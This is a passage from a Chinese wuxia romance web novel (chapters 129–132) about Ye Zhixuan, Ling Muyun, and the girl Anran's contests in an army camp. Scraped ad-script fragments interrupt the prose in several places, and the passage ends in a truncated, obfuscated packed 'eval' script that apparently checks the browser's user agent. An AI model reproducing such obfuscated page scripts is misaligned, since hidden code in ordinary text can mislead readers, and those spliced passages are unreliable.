拿着金腰牌,一路畅通无阻,也无人敢过问叶芷萱的身份。穿过几道门,叶芷萱来到大堂云鹤厅,还没走进去,就听见了凌牧云的声音,但她并没有想偷听。 叶芷萱清楚,凌牧云一定在里面议事。她刚要转身走,就听里面有帮里弟子汇报:“帮主,我们底下有人在湖心潭西码头发现一艘破船,最奇怪的是船上有血渍,我们怀疑有外边的人上了岛。我们需不需要派帮里的弟兄四处寻找?” 凌牧云道:“不必了!” 坐在凌牧云左侧的副帮主石磊说道:“帮主,依我之见,还是暗访一下较好,万一对方是朝廷的探子,日后我们这里恐难安宁!” 坐在凌牧云右侧的副帮主仲华附和着,“就是,帮主,我认为石磊说得对,还是查一查吧!” 凌牧云微微不悦,调门也高了些,“不要说了,我心中有数。” 话音一落,底下的人不敢再多一句嘴。 叶芷萱在大堂外听到后有些难为情,屋里人说的那艘破船就是自己飘来这里的那艘船,他们说要暗访寻找的人就是自己,而凌牧云正在不顾原则地袒护自己。 叶芷萱果然看到了一个威风八面、号令群雄、英姿勃发的凌牧云,而回想着平时凌牧云对自己是那样百般迁就,她心里就有种异样的感觉。 厅堂里安静了片刻, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 凌牧云才继续说道:“过两日我要出趟远门,这次恐怕要久一些。” 石磊和仲华异口同声问道:“帮主,你去哪儿?” “这个你们就不要问了。”凌牧云怕芷萱不想让自己说,便没有告诉自己的属下。 “那你要去多久?”石磊追问着。 “可能时间有些长,具体我也不知道,我走后帮里的大小事务暂时由你和仲华商议决定。” 仲华问道:“帮主,如果我们有急事大事找你商量,怎么能联系到你?” 凌牧云思忖片刻,“等我安顿好了就跟你们写信,遇到解决不了的大事你们就联系我。” 石磊是个急性子,仍然不放心,“帮主,你去的地方,要做的事,不会有什么危险吧?要不你还是带我们一起去吧?”凌牧云越不说,他们这些兄弟越担心。 凌牧云语声沉稳,“暂时还不用你们,我只是去帮朋友。如果后面需要你们,我会通知你们的。” 芷萱知道凌牧云言出必行,说陪自己去楚州就肯定去,只是听到他在那儿安排帮里的事务,心里霎时划过一丝暖意。 叶芷萱觉得在外一直偷听不很礼貌,便没有再站在大堂外,而是徐徐向内院走去。直至走到花园的抄手游廊处,她才坐下来,静静地欣赏着池塘里荷花。 不一会儿,凌牧云开完帮会走了出来,看到叶芷萱坐在那里,面色一滞,“你什么时候来的?早饭吃了吗?” “刚来一会儿,早饭用过了。” 凌牧云温柔道:“我的事情办完了,那我们回家吧?” 听到“回家”两个字,叶芷萱没来由的心头一暖,可依旧小声嘴硬道:“那是你的家,又不是我的。” 凌牧云没有太听清芷萱说的什么,但也懒得跟叶芷萱争辩,只是宠溺地看着她笑。两人走出云鹤帮总坛,来到主街上,凌牧云复又说道:“后日我就可以陪你走了。” “这么快?”叶芷萱下意识地问道。 凌牧云暖笑,“我怕你着急,难道你很舍不得这里?” 芷萱眼神有一丝躲闪,“谁说我舍不得?我巴不得马上离开。” 话音刚落,凌牧云突然跑开了,叶芷萱不由得一怔。 凌牧云跑到不远处的一处卖糖果的商店,不停地用手指着那些糖果。那位卖糖果的老大娘,眼睛一直眯着冲凌牧云笑,然后把糖果包好递给了凌牧云。 这时,叶芷萱见凌牧云拿出几十个铜板给老大娘,老大娘一直推着不要,可凌牧云坚持要给。那一刻,凌牧云在叶芷萱心中的形象又高大了许多,甚至可以说是明亮耀眼。在芷萱感觉不到的地方,又添了一些对凌牧云的好感。 凌牧云走回来,把一大纸袋糖果递给叶芷萱,“你尝尝,我小时候最喜欢吃他们家的糖果。” “我不吃。”叶芷萱并没有把糖果袋接过来,从小到大,她好像对糖果都没什么兴趣。 “哪有女孩不喜欢吃糖的?”凌牧云打开纸袋,先拿了一块糖塞进自己的嘴里。 “我就不喜欢。” 凌牧云把糖果袋强塞进叶芷萱手里,“那等你想吃的时候再吃吧!” 芷萱还想把糖果纸袋还给凌牧云,可凌牧云已经走远了。 晚上吃完饭,叶芷萱回到书房,第一眼便看到书案边上放着那个糖果袋。此时,房间里只有自己,叶芷萱拿了一块糖果塞进嘴里。果然像凌牧云形容的,糖果真的很甜,甚至比蜜还要甜。以至于过了很多年以后,想起第一次吃这个糖果的感觉,叶芷萱的心里依然有怦然的感觉,只是后来她才明白过来当初的甜是幸福的甜。 又过了一日,叶芷萱和凌牧云终于启程回楚州了。两人用过早饭后,云鹤帮的一个兄弟亲自划船,送他们去了霁月湖南岸。下了船,两人一路快马赶回了楚州。 130. 第一百三十章 叶芷萱与凌牧云到了楚州才发现,叶帅府已经聚集了很多人。最让叶芷萱开心的就是温映雪来了,两姐妹拥抱在一起,活像两个没长大的孩子。看到芷萱与映雪那么亲密,凌牧云是真的羡慕,心想:“啥时候芷萱也能对自己这样亲近,估计自己睡觉都能乐醒了。” 见到叶芷萱真的平安无事,叶清扬难得露出笑容。叶清扬虽然有些冷傲,但对这个姐姐的感情极为深,他甚至把芷萱当“妹妹”一般来照顾。 从小到大,别说是有人欺负叶芷萱,就是叶芷萱喜欢什么好吃的好玩的,清扬都会想方设法帮姐姐找来。确定姐姐真的安然无恙后,叶清扬才注意到她身后的凌牧云。 叶清扬冲着凌牧云问道:“您好,我叫叶清扬,我哥是叶阳晨,而芷萱是我姐姐,是叶阳晨的妹妹,请问你是?” 叶清扬不是故意提到叶阳晨的,而是从小到大,他对哥哥的崇拜无以复加,说话时会不由自主地提到哥哥的名字。而每次提到哥哥的名字,他们心里都非常自豪。 话音落下,凌牧云愣在那里,不可置信地问道:“那芷萱也姓叶吗?她真的是叶阳晨的妹妹?” 叶清扬微微点头,“是的,怎么了?敢问你是?” “他叫凌牧云。”芷萱接话道。 听到凌牧云的名字,清扬平静的脸上微微泛起涟漪,但也就转瞬即逝。云鹤帮虽然实力很强,但还强不过长风寨,所以清扬也没那么放在眼里。 凌牧云实在太过意外,惊讶地看向芷萱,“芷萱,叶阳晨竟然是你的哥哥?你怎么不早说?” 叶芷萱有些得意,“怎么?怕了吧,我哥要是知道你欺负了我,肯定饶不了你。” 凌牧云也跟着开起玩笑,“那你让咱哥下手的时候轻点,我可能打不过他。” “德性,是我哥,什么时候成你哥了?脸皮真厚。” 一旁的温映雪似笑非笑,看着眼前的一幕幕,也将芷萱的变化看在眼里。可能有些改变叶芷萱不自知,但是温映雪再了解她不过。从前叶芷萱的身上有着男孩子的率真、爽朗和豪情,温映雪还是第一次看见叶芷萱像个小女孩一样说话也像在撒娇,而这一切的变化,无疑都是因为这个凌牧云。 晚上,温映雪和叶芷萱并排躺在一张床上夜聊,这是她们小时候就养成的习惯。两人小时候在小床上挤着睡,大了在大床上挤着睡,就是从未改变这个习惯。叶芷萱调侃问道:“小雪,温伯伯这回怎么舍得放你出谷了?” “还不是为了阳晨哥,我怕他在战场上有危险。”温映雪毫不掩饰说道,她这个人就是如此率真,大多时候心里想什么就说什么。其实即使温映雪不说实话,她的心事瞒得了别人,却瞒不住叶芷萱。 叶芷萱安慰道:“雪儿,你这又是何必呢?我哥已经有了喜欢的人,也成亲那么久了。” 温映雪微微心痛,可还是淡淡说道:“你想哪儿去了?叶阳晨也是我的哥哥,我这个做妹妹的,当然也希望他平安啊!他要上战场,我又怎么能袖手旁观呢?” “你真的这么想吗?” “我当然这么想啊!还有,以后你不要再乱说了,他就是我最亲的哥哥,我还是愿意为了他做任何事,只是没有任何功利心。” 映雪在心里自嘲着:“事到如今,自己还能怎么想?也只能这么想了。他是哥哥,也只能是哥哥了。” 芷萱还是有点心疼映雪,“小雪,我们是世间感情最好的姐妹,你有任何事都不许瞒着我。如果有不开心的事也一定告诉我,让我陪着你,哪怕只是陪你说说话也好。” 映雪故作轻松,“放心吧,我瞒谁也不敢瞒着你的。” 话锋一转,映雪冲着芷萱玩味地笑了起来。 芷萱有点心虚,“你笑…什么?” 映雪眼眸一亮,“这次见到你,我还没开始审你,你就追着我问那么多?现在该我问你了,那个跟你来的凌牧云是怎么回事啊?” “什么怎么回事啊?就是一个讨厌鬼啊。”芷萱故意说的毫不在意。 “我可没看出你讨厌他,我倒是看出你对他有点好感。” “我哪有?你不要乱说。”芷萱说这话时心跳陡然加快。 “我有乱说吗?叶芷萱小姐姐,我们从小一起长大,你的事别人看不出来,你能瞒得住我吗?如果他不是喜欢你,人家贵为天下第一大帮的帮主,他会陪着你来军营?来军营做什么?玩耍吗?” 叶芷萱更加心虚,有点扛不住映雪的眼神,于是解释道:“他可能是对我有点…可我发誓我并没那个心思。而且我一个人自在惯了,不想被什么牵绊住。” 温映雪没有再问,她不喜欢多劝别人。 片刻后,叶芷萱打破平静,“雪儿,我想跟你说个秘密。” “什么?” “你记得我以前跟你讲过吗?我算是有婚约的。” “我记得啊!从小到大你说过很多次,怎么突然说这个?” “那个人…就是…凌牧云。” 映雪讶然,“你怎么知道是他?” “我在他们家看到了我们叶阳家祖传的玉兔,这个混蛋还说要把那玉兔送给我呢。” “那凌牧云知道你就是他的未婚妻了吗?” “不知道。” 映雪打趣道:“不敢告诉他?” “什么叫不敢?我就是不喜欢那人,所以多一事不如少一事。” “你芷萱什么时候怕过事啊?好啦,我就装一回傻子让你骗骗。瞧你那出息,长这么大我还第一次看你在我这儿害羞了呢。” 芷萱不再言语,她知道小雪说的都是实情,她的心事也确实瞒不过小雪的眼睛。 映雪也不再开芷萱的玩笑,而是正色说道:“那你的真命天子多半就是凌牧云了。” “那可不一定。” 温映雪自言自语感叹着:“世间的缘分啊!来的时候躲都躲不掉。虽然不是所有的缘分都能修成正果,但总有那么一种缘分胜过千万次的相遇,穿过岁月,穿过人群,只凝望一眼便会让你怦然。” 听映雪这样说,叶芷萱沉默了,心里一直有个声音在问自己,“是这样吗?他为了救我,却“欺负”了我,害我丢了“名节”,如果这是缘分,那这是不是孽缘?” 见芷萱在那里出神,温映雪发问:“萱萱,想什么呢?” 芷萱回过神,“没什么。”芷萱压下心中的胡思乱想,她也不想在情爱之事上费神。索性现在映雪来了,她也就不闷了。 那一夜两姐妹聊到深夜才睡,不过都没有再聊感情方面的话题。 那海的大军被击退了,暂时并无战事了。芷萱和映雪每日也是乐哉悠哉,天晴时两个女孩会去郊外走走。每次回来,映雪都手捧着一大把花回来,什么花她都喜欢。芷萱性格太男孩子了,她不喜欢这些花啊草啊的,全当是陪着映雪。 不多时日,叶阳晨和林慕瑶也赶回了楚州。见到大家,慕瑶固然高兴,可她最开心的事就是再次见到火灵。 那日,慕瑶刚进军营,火灵正趴在叶阳晨的帐外晒太阳,它转过头的一瞬看见了慕瑶,连忙站起来全力快跑地冲了过去。 慕瑶嫣然一笑,蹲下身来,等着火灵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 扑向自己。 火灵个头太大,冲过来的惯性太大,果然把慕瑶撞倒。然后火灵便用自己湿湿的鼻尖蹭着慕瑶的脸颊,又用舌头舔了几下慕瑶的鼻子。一番玩闹,慕瑶两鬓的头发也散落下来,但她心里却暖暖的。慕瑶没想到这么多年没见,火灵还是能一眼就认出自己,更没想到火灵对自己的感情还是那样深,她心里感动得无以复加,几度泪水盈眶。 一连几日,火灵都寸步不离守在慕瑶的身边,令叶阳晨和丁鹏很是“嫉妒”。 叶阳晨得知凌牧云就是云鹤帮的帮主,还愿意留在楚州帮大家,他对凌牧云心生敬佩,两人聊天之中都有种相见恨晚的感觉。 芷萱当着两人的面,趁机跟叶阳晨“告状”,“哥,凌牧云欺负你妹妹。” 叶阳晨不解,“你说说看,他怎么欺负你了?哥可是听说了,没有牧云救你,哥早就见不到你了。” 芷萱噘着嘴,她当然不敢说出那些私密的事,只好悻悻作罢。 叶阳晨刚回来就详细了解了那海偷袭楚州的情况,听说这次楚州能顺利守住多亏了五皇子项天带兵来救援,他前去郑重道谢,“项兄来解楚州之困,吾不胜感激。” 项天摆手一笑,“快别这么说,上次我守临昌,你还不是不远万里来救援?况且这次我只是锦上添花,主要还是靠你的部将守城。” 叶阳晨也没有过多自谦,他知道项天口中的部将指的是清扬、诗怡、映雪、丁鹏、霍玉、小六等人。事实上,丁鹏和项天的援兵还未赶回楚州,清扬、小六、霍玉、诗怡和映雪就先一步到了。 叶阳晨冲着项天展颜一笑,“那我就不再说过多感激的话了,我们兄弟已经两次共患难了,情义无价,我会记在心里的。” “我亦会记在心中,既然楚州无险,我明日就回临昌了。” 翌日一早,叶阳晨带着慕瑶、映雪、芷萱、诗怡、牧云、清扬、小六、霍玉、丁鹏等人出城相送项天。 项天一眼便注意到了站在叶阳晨身边的林慕瑶,笑问道:“阳晨,你身边还有如此俊俏的将官吗?” 叶阳晨拉过慕瑶手,襟怀坦荡介绍道:“不瞒五皇子说,这是内子林慕瑶。因军中不便,她才女扮男装。”不止是慕瑶,所有入了军营的女孩都换上了战袍,根本看不出一丝脂粉气。只是因为时间赶,来不及为这些女将量身定制战袍,就只能先暂时拿男式战袍凑合穿穿,映雪为了让几个女孩穿得合身舒服些,简单改了改尺寸。 听叶阳晨说的这么直白,慕瑶幸福地瞪了叶阳晨一眼,她未想到叶阳晨会当着外人面直接这样介绍自己。来不及多想,慕瑶上前,也学着男子抱拳道:“慕瑶祝愿五皇子一路平安顺利。” 面对慕瑶的倾国倾城之貌,以及她说话时的气质风度,项天目光微凝,神情里也多了一丝柔和,“不必拘礼,阳晨兄弟果然好福气,娇妻风度不让须眉。” 项天不舍地移开目光看向叶阳晨,“那我们就后会有期了。” 项天翻身上马,手握紧缰绳,他刚要打马离开,却又回头看了一眼。目光落处,心有微澜。 见项天的马远去,叶阳晨才带着众人回了营地。 叶阳晨刚走进营地,士兵跑过来跪地便报:“叶帅,大营里来了一个人,现在正在中军帐等你,说是你的朋友。” 叶阳晨挑眉,心想:“这是谁呢?”来不及多想,他与众人去了中军帐。 掀开帐帘,众人走了进去,先是看见此人的背影。见那个人正靠坐在椅子上,他的两脚抬高搭在另一个椅子上,椅子摇摇晃晃,不时发出咯吱咯吱的声响。 131. 第一百三十一章 叶阳晨只从那人的背影便认出来是老友,他上前两步,语气兴奋,“胡哥,你怎么会来?” 胡枫转过头一看是叶阳晨来了,他丹田之气一运,整个人凭空跃起,他的身体在空中一转,稳稳地站在地上。胡枫双臂交叉抱于胸前,“我过来看看你过得好不好?小晨,不是我说你啊,你可太不够意思啊,上战场这么好玩的事,都不捎信给我?你是怕我打不过蒙古人,还是怕我给你添乱啊?” 仅这么一句话,在场的所有人就多多少少看出胡枫洒脱不羁的性格,对他有一种莫名的亲切感。 在场的众人,除了叶阳晨,只有慕瑶认得胡枫。慕瑶上前两步,嫣然一笑,“胡大哥,好久不见……” 胡枫爽朗一笑,“呦,弟妹也来了?慕瑶,你就这么喜欢粘着我的兄弟?他上战场你也要跟着?不怕危险?” 慕瑶当然了解胡枫爱开玩笑的脾性,只是众人都在,他就直接一句弟妹,这让慕瑶的脸还是微染红霞,“胡大哥,你又笑人家?” 这时叶阳晨介绍着:“胡哥,我给你介绍一下这些兄弟姐妹,以后我们就都是一家人了。” 叶阳晨这么一说,众人先向胡枫投以暖笑。 叶阳晨依次让大家与胡枫相互认识,军营里又来了个好兄弟,每个人都很开心。加之胡枫性格随和,又幽默风趣,他很快就大家打成一片了。 有朋自远方来,不亦乐乎,晚上,叶阳晨让雨宁大哥杀猪宰羊,做了一大桌子菜,不仅是为胡枫,也算是给各路朋友接风。难得与这么多兄弟姐妹聚在一起,重回军营的那天,叶阳晨就想与大家好好欢乐一番,只是他刚回来,诸多军中事务等着他处理,昨晚又陪五皇子说话,就没倒出空把众兄弟召集在一起。 从下关竹海背回来的一大坛子酒,被叶阳晨后来分装到小罐子里。楚宗师父最好酒,叶阳晨给了他四罐,温狐、古野、仁渊各两罐,就连他自己的父亲也只给了两罐,最后的两罐他拿到了军营中。 叶阳晨给每人先倒了一小杯,狡黠一笑,“今天咱们吃饭喝酒前先玩个小游戏。” “什么游戏?”大家异口同声地问着。 叶阳晨继续笑着说道:“这酒是我特意给大家带的,好酒,好喝的酒。请大家不要把杯中酒一口饮尽,只先抿一口尝尝。我知道咱们这些人中有人好酒,我想看看谁能猜出来这是什么酒。能尝出来是什么酒的人先不要说出来,最后我来依次问大家。” 慕瑶当然知道叶阳晨在与大家玩闹,也就抿嘴浅笑着。 大家都端起酒杯,抿了抿杯中酒,有的人没尝出来,又少量抿了两口。 清扬对酒这东西谈不上喜欢也谈不上厌恶,但他仍尝出来这酒的浓郁甘醇,“哥,这酒好像不是我们寨子里的吧?” 丁鹏接话,“对,我在长风寨没有喝过的。” 霍玉是刚出家还俗,很少饮酒,自然也就不发言。小六从前到现在饮过的好酒很少,也就没有什么发言权。 江雨宁一副尝了御酒的表情,“小晨,我今天终于见识啥是好酒了,太他娘的带劲了。”江雨宁感激地看着叶阳晨,因为不是借了叶阳晨的光,他喝好酒的机会比小六多不了太多。 映雪酒量极好,她淡淡说道:“我没喝过这个酒,但是我能猜出这是谁酿的。”她肯定是没喝过的,如果她喝过的话,叶阳晨也就等于喝过了,有好东西,不仅映雪会给叶阳晨留着,就连温狐师父也会偏向叶阳晨的。 叶阳晨笑着一摆手,“小雪,你就一会儿再说。” 凌牧云也是品酒的行家,他如实道:“这个酒我知道。” 坐在他旁边的芷萱压低声音问道:“你怎么知道这酒的?” “我家的酒窖里有一坛子,我爹在世的时候不让拿出来喝,我偷偷尝过一次。” 众人没注意凌牧云和叶芷萱说的什么。 胡枫最后说道:“这酒我也喝过,但只喝过那么一次。今天能再喝一次,真是借了小晨的光了。”胡枫好酒的程度不亚于九酒老伯,这些年走到哪儿喝到哪儿。只有那么一次,江湖上的朋友招待他,请他喝过一次苍筤醉。这酒太好喝了,口感绵柔,余味悠长,于是就让胡枫记到了今天。 众人都说完了,叶阳晨咧嘴一笑,“胡哥、牧云、小雪,你们仨人猜出来了,我们检验一下你们猜得对不对。那这样,你们也知道这个酿酒的人在江湖上有个响当当的三个字的外号。你们每个人说一个字,胡哥年长,那就从胡哥先来吧。” 胡枫展颜,“圣…” 凌牧云语气如常,“酒…” 最后温映雪雪淡淡一字,“仙。” 叶阳晨继续问道:“那这酒的名字,你们三人再每人说一个字。” 依然由胡枫开始,“苍。” “筤。” “醉。” 叶阳晨笑得开怀,“好了,你们都说对了,不多言了,咱们共同举杯,干了。” 这一晚,大家尽情痛饮,一醉方休。当然这么多人,一直饮苍筤醉是不够喝的,其余喝的酒都是凌牧云从家带来的好酒。 翌日,全体人坐在大帐闲聊,外面又有士兵进来报告:“叶帅,有个小女孩来找你。” 众人面面相觑,叶阳晨莞尔,心想:“这两天是怎么了?胡哥刚来找自己,今日又有人找自己?” 叶阳晨冲着士兵问道:“什么女孩?她叫什么名字。” 士兵如实答道:“她没说,她只说她是你妹妹。” 叶阳晨一时没想起来自己什么时候又多了个妹妹,他冲出营帐,急着去看究竟,众人也跟着叶阳晨一起出了帐子。 叶阳晨走出去一看,他面色一惊,原来是安然来找自己了。 安然并没有第一时间看见叶阳晨,只是低着头在那儿抠着手指头。她的头发有些乱,脸上也脏兮兮的,身上穿的还是当初叶阳晨给她买的衣服,只是衣服脏得本来的颜色已经不太看出来了,小姑娘给人的感觉十分狼狈。 叶阳晨心里纳闷:“这小丫头是怎么找到这里来的?”但看安然的可怜样子,叶阳晨心里又很是内疚。 坦白说,他不曾忘记安然,也时常想起自己答应过安然尽快去接她,可是事情一件接着一件发生,让叶阳晨总不得空。加之他现在在打仗,也不方便带着安然,叶阳晨便想等战事缓一缓,他再去水涧庵。 叶阳晨千想万算,都没想到这丫头会自己找来,他想象不出来安然这一路受了多少罪,吃了多少苦。不过叶阳晨也知道,虽然安然有些时候孩子气了点,但是她人小鬼大,自有她的办法。 叶阳晨冲着安然喊道:“安安……”话一喊出口,他喉咙有些发紧。 安然抬头一看是叶阳晨,眼里立刻闪着泪花,她噘着嘴不肯上前一步,满脸都写着委屈两个字。 叶阳晨朝她走过去,笑着逗她,“安安,你怎么了?看到哥哥好像也不高兴啊?” 安然用脏脏的小手抹着泪水,“你说话不算数,我讨厌你,我以后再也不相信你了。你说会尽快来找我,可是这么久都没来。” 叶阳晨心有歉疚,“哥哥没忘记你,真的是有事耽搁了。” 一旁的清扬和芷萱都很意外,他们不知哥哥什么时候又认了个小妹妹。 安然越想越委屈,提腿便踢向叶阳晨的膝盖。这一下她踢得很用力,叶阳晨完全没有心理准备,还真有些疼。 叶阳晨揉了揉膝盖,笑着哄安然,“踢也踢了,你跟哥哥进帐子里去说。”安然不乐意,叶阳晨强拉着安然进了大帐,众人也都跟着进去。 帐内,慕瑶拿来湿帕子给安然擦了擦脸。 叶阳晨这才温声问道:“你为什么不乖乖待在庵里,却要独自跑出来呢?”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 安然委屈道:“那个地方每日除了青菜还是青菜,我爱吃的南瓜倒是有,可庵里的师太不让我用油炸着吃,至于我爱吃的烤鸡腿就更没有了,所以我实在待不下去了。当然了,我也是因为想你了。” 众人一听安然这几句孩子气的话,都乐了起来。 叶阳晨追问:“那清宁师太知道你来找我了吗?” 一听叶阳晨这样问,安然又抠起了手指,秒变成一个犯了错的小孩子,她不敢撒谎,只好如实道:“不...知道,我是偷着...跑出来的。” 见叶阳晨脸色变得难看,安然小心翼翼嗫嚅解释着:“哥哥,我要是事先告诉师太,她是肯定不会放我走的。所以我才……” 叶阳晨无奈地摇了摇头,心想着要尽快给姨娘写封信报个平安才行,否则她肯定四处找安然,非急坏了不可。 叶阳晨想了想还是说道:“安然,我们这些哥哥姐姐是要去打仗,不是去玩,你跟着我们会有危险的。如果你不喜欢待在尼姑庵,哥哥再给你找个好玩的地方好不好?” 安然露出执拗的小表情,“我哪里都不要去了,我就跟着你,我这次才不要相信你了。哥哥要去打仗,安安也能打仗,安安不怕危险。你要打哪个坏蛋,我都可以帮你的。” 叶阳晨一笑,“你能怎么帮我?”叶阳晨心知安然轻功不错,可她的这个本事最有用的地方是逃跑,不能用于歼敌。 “总之我就是能帮你,我可以帮你挡刀剑。”安然倔强地说。 听安然那样说,大家都有些感动,叶阳晨更不必说。 叶阳晨很想再劝劝安然离开军营,他想送安然回泽清山生活。虽然安然为天玄教前教主的女儿,把她留在山寨里可能会有点隐患。但只要秘密守得住,也便无碍。可是叶阳晨也知道这丫头性子拗得很,如果再像之前那样劝说肯定说不动她的。 叶阳晨正在犯难时,安然突然道:“哥哥,你认为我不适合打仗,不如我们比试一下,如果我输了我就听你的话离开。如果我赢了,你就得同意我跟着你,绝不反悔。” 叶阳晨心里一喜,他正愁没办法,这丫头倒自己送上门了。叶阳晨心想着若是能赢了这丫头,就可以让她心服口服地离开军营。 叶阳晨言归正传,好奇问道:“那怎么比?比什么呢?” 安然伸出三只手指,笑着比划着,“我们比三局,如果我都胜了,你就要答应让我留下来。” 叶阳晨心里偷笑,“到底是孩子,别人都要求三局两胜,可她却说三局都要赢。”这样一来,叶阳晨更加有了信心,他心想只要赢下安然一局就行了。 叶阳晨爽快答应,“好的,你出题吧!” 安然眼睛一转,“我们出去比试。”说完,她蹦蹦跳跳地出了大帐。 众人笑着,也跟了出去。 安然带着大家来到河边,她转身问道:“哪位哥哥姐姐水性好,我们比试入河水中闭气,谁坚持的时间长就算谁赢。” 包括叶阳晨在内的十二人中,大多数人都习水性,但要说水性最好的当属小六。小六自告奋勇道:“哥,让我跟安然妹妹比一下吧。” 安然得意一笑,便先跳入河水中。小六也未犹豫,跟着跳了下去。 河水静流,水面上少有波澜。转眼间,一盏茶的功夫过去了。 慕瑶靠在叶阳晨身边轻声道:“这么久了,他们两人会不会有危险啊?” 叶阳晨摇了摇头,“我想不会,他们都深熟水性,应该有分寸的。” 大家等到两盏茶的时间过去,小六的头突然冒出水面,随之长舒一口气。而安然闭气的位置,依然没有动静,甚至没有一点点水花。 全体人都担心安然会出事,相继叫喊着:“安然…出来吧,不用比了…你小六哥认输了。”可是无论大家怎么叫,安然好像没听见一般。 132. 第一百三十二章 情急之下,小六再度入水。他在水下看得真切,安然在水下依旧睁大了双眼,鼓着腮颊,脸上还带着甜美的笑容,完全没有一点挺不住样子。 小六比了一个自己已经输了的手势,告诉安然不必再继续闭气了。可安然摇了摇头,仍然要继续闭气。 小六浮上水面,告诉大家安然无事,只是不肯上来。 岸上的十二人心中清楚,安然这是孩子心性,赢了还不行,还非要展露一下身手罢了。叶阳晨还是很惊讶,安然的水性竟然好到这般程度。 待到一炷香的功夫过去,安然才从水中钻了出来。 走上岸后,安然神采飞扬看着叶阳晨,“哥哥,我已经赢了一局喽,你们要继续努力,要加油。还有,我刚才在水下才想起来有一件事我忘记说了,那就是如果三局我都赢了的话,你还要奖励我三个烤鸡腿吃。” 话音一落,所有人都哈哈大笑,安然这不按常理出牌的性格还真讨人喜爱。 叶阳晨莞尔一笑,“安安,你就那么自信都能赢?” “那当然,你妹妹我就是这么厉害呢,一会儿你就知道了,我是不会跟哥哥撒谎的。”安然毫不掩饰内心的喜悦。 叶阳晨也不知安然是哪来的自信,但偏偏让人不得不相信她,“那你继续出题吧,第二项比试什么?” 安然抬头看了看,用手指着高处,“接下来我们就比谁能最快爬上那棵树的最高处吧。” 众人抬头望去,那棵柳树足足有四丈来高,且越往上枝条越细,爬到树顶的难度不言而喻。 叶阳晨看向胡枫,“胡哥,这里你的轻功上乘,爬这棵树对你来说应该不难吧?” 胡枫跨步上前微微眯眼,“不难,那就由我来陪安安小妹妹玩玩吧。” 之后,胡枫和安然两人来到树下,胡枫笑言:“还是妹妹先来吧。” 安然自信满满,“不,还是我发挥孔融让梨的精神,哥哥先来。” 胡枫一笑,“好的,那我就不客气了。”说完,胡枫蹭的一下跳到树上。只见他在树上时左时右,上下飞动,树枝随着他的身影轻轻摇曳,仿若在招手。 行家一出手,便知有没有。胡枫刚刚来军营,众人对他还不够了解。可这一刻,胡枫显露自己的身手,众人惊愕。大家七嘴八舌,都在为胡枫的轻功叫好,安然双手掐起腰,脸上却有了一抹异样的笑。 胡枫身轻如燕,手脚并用尽全力爬着。众人在心里默默给胡枫数着数,从1开始数,当数到数字36时,胡枫爬到了树顶。 胡枫跳了下来,众兄弟为他喝彩。 叶阳晨看向安然,“该你了,小丫头。” “好嘞,安安第二局马上就赢了。”没等大家反应过来,安然向上一窜,便上了树。 安然轻盈如羽快如风,她完全不是在爬树,而是一直往上“飞”,大家皆叹为观止。所有人都清楚,安安这样的身手,一定是师从名家。 叶阳晨此时方知小瞧安然这个丫头了,怪不得她能从北方逃到南方不被捉到,真是能上天、能潜水。 叶阳晨在心里为安然数着时间,数到24时,安然已经单脚站在树的枝头上了,冲着他挥手了。叶阳晨虽不愿承认,但又不得不承认,这一局安然又赢了。 叶阳晨喊道:“快下来吧。” 这时,安然一个跟头,头朝下坠落下来。众人一时皆惊,都连忙跑过去试图接住她。 未想到安然快落到地上时,她在空中翻了一个空翻,然后稳稳着地。 所有人刚才都以为安然是手没抓稳树枝才掉下来,此刻方才反应过来安然在调皮捣蛋逗大家,只是全体人皆被吓了一身冷汗。 安然冲叶阳晨吐着舌头,“哥哥,我厉害吧?” 叶阳晨严厉教训着:“你以后不准做这么危险的动作。” 安然嘟嘟着嘴,“有什么大惊小怪的?我从前经常这么玩。” 叶阳晨瞪起眼睛,安然才不再顶嘴。 胡枫揉了揉安然的小脑袋,“安安小妹妹不错嘛,胡哥认输了。” 安然冲到叶阳晨面前,揉捏着自己做了个鬼脸,又吐了吐舌头,“哥哥,你们要更加努力了哦,我已经连赢了两局,小妹我可不会手软的。” 叶阳晨苦笑,“那第三个比试什么呢?” 安然神秘一笑,“你们跟我来吧。” 说完,安然来到一棵柳树的正前方,然后随意捡起一粒石子,“我们来玩隔山打牛,我们的身子不能动,也不能偏离,站在这个位置扔出石子,谁能打中面前这棵树后面的那棵树就算赢。” 人和两棵树构成三点一线,众人从安然所站的位置望过去,面前的第一棵树距离安然足有几丈远,且树干较为粗壮,完全把后面的那棵树挡住了。 听完安然的规则,众人都面露难色。如果没有前面的树挡着,对于这里的很多人来说,用石子击中树干简直易如反掌,即使距离再远一些,他们也都能轻松做到。可是要绕过障碍物飞石投砺,在场的所有人自认为都做不到。 叶阳晨看向众人,众人皆摇了摇头。 叶阳晨又看向安然无奈一笑,“安安,这个玩法我们都没能力做到,如果你可以,就直接算你赢了。” “哥哥,这可是你说的,不能反悔哦。”安然边笑边眨着那双灵动的双眸,可爱极了。 叶阳晨点头,“绝不反悔。” 安然听罢更加掩饰不住喜悦,一想到胜利在望,她甚至笑出了声。 叶阳晨问道:“安安,你笑什么?你就那么有信心赢吗?哥哥提醒你,你还没成功的。” 安然依旧止不住笑,“我一想到我的烤鸡腿到手了,就很兴奋。我晚上可以饱饱地美美地大吃一顿了,怎么能不高兴呢?” 听完安然的话,大家也跟着笑了起来。 叶阳晨莞尔,“那要看你能不能赢?” 安然手舞足蹈,“这个肯定没问题的,我从未失手过,现在进入安安的表演时间。”说完,她跑到河滩处找石子。 安然自小没有兄弟姐妹,加之她贵为教主之女,儿时很多小伙伴都不敢跟她一起玩,生怕惹哭了她会被教主惩罚,所以安然的童年是孤独的,寂寞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 